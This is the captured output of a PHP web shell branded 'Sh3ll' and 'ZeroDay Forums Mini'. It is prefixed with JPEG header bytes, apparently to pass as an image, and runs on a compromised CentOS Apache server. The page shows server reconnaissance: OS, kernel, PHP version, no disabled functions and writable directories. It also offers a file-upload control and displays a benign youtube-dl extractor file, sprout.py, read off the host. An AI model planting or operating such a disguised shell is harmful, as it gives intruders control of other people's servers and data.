ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/youtube_dl/extractor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/youtube_dl/extractor/sprout.py
# coding: utf-8
from __future__ import unicode_literals

from .adobepass import AdobePassIE
from ..utils import (
    extract_attributes,
    update_url_query,
    smuggle_url,
)


class SproutIE(AdobePassIE):
    _VALID_URL = r'https?://(?:www\.)?sproutonline\.com/watch/(?P<id>[^/?#]+)'
    _TEST = {
        'url': 'http://www.sproutonline.com/watch/cowboy-adventure',
        'md5': '74bf14128578d1e040c3ebc82088f45f',
        'info_dict': {
            'id': '9dexnwtmh8_X',
            'ext': 'mp4',
            'title': 'A Cowboy Adventure',
            'description': 'Ruff-Ruff, Tweet and Dave get to be cowboys for the day at Six Cow Corral.',
            'timestamp': 1437758640,
            'upload_date': '20150724',
            'uploader': 'NBCU-SPROUT-NEW',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        video_component = self._search_regex(
            r'(?s)(<div[^>]+data-component="video"[^>]*?>)',
            webpage, 'video component', default=None)
        if video_component:
            options = self._parse_json(extract_attributes(
                video_component)['data-options'], video_id)
            theplatform_url = options['video']
            query = {
                'mbr': 'true',
                'manifest': 'm3u',
            }
            if options.get('protected'):
                query['auth'] = self._extract_mvpd_auth(url, options['pid'], 'sprout', 'sprout')
            theplatform_url = smuggle_url(update_url_query(
                theplatform_url, query), {'force_smil_url': True})
        else:
            iframe = self._search_regex(
                r'(<iframe[^>]+id="sproutVideoIframe"[^>]*?>)',
                webpage, 'iframe')
            theplatform_url = extract_attributes(iframe)['src']

        return self.url_result(theplatform_url, 'ThePlatform')

ZeroDay Forums Mini